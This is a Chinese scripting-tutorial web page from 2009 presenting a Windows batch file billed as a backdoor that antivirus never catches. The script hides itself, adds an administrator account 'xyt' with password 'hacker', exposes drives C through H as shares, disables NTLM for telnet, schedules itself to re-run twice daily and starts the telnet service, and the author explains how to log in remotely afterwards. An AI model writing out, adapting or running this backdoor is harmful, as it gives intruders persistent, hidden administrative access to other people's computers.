繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 用批处理写的永不被杀的后门
- DOS/BAT
- 用批处理实现禁止运行指定程序
- 批处理 Autorun 病毒清除工具
- 批处理FINDSTR正则表达式用法实例分析
- for命令的一些bug分析
- for语句中的几种分隔符形式小结
- Norton Ghost批处理命令用法详细介绍
- CMD CODE PAGE的概念及其设置值使用方法
- 批处理delims=和tokens=星号 的使用差别
- 在DOS方式下对注册表进行操作的代码
- 批处理 API实现文件下载的代码
- 包你学会批处理整理集合
- 使用脚本和批处理清除电脑中的痕迹的代码
- 批处理BAT加强函数代码使用说明
- 用批处理解决数学问题的代码
- cmd下PUSHD和POPD命令使用说明
- 比较详细的手把手教你写批处理（willsort题注版）
- 在批处理文件中使用参数的方法
- cmd批处理转义字符%的详细解释
- 超详细的CMD DOS下符号的作用参考
- DOS命令批量删除文件及制作该命令的批处理命令详解
DOS/BAT 中的 用批处理写的永不被杀的后门
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 68 ::
收藏到网摘: n/a
代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。
评论 (0) All
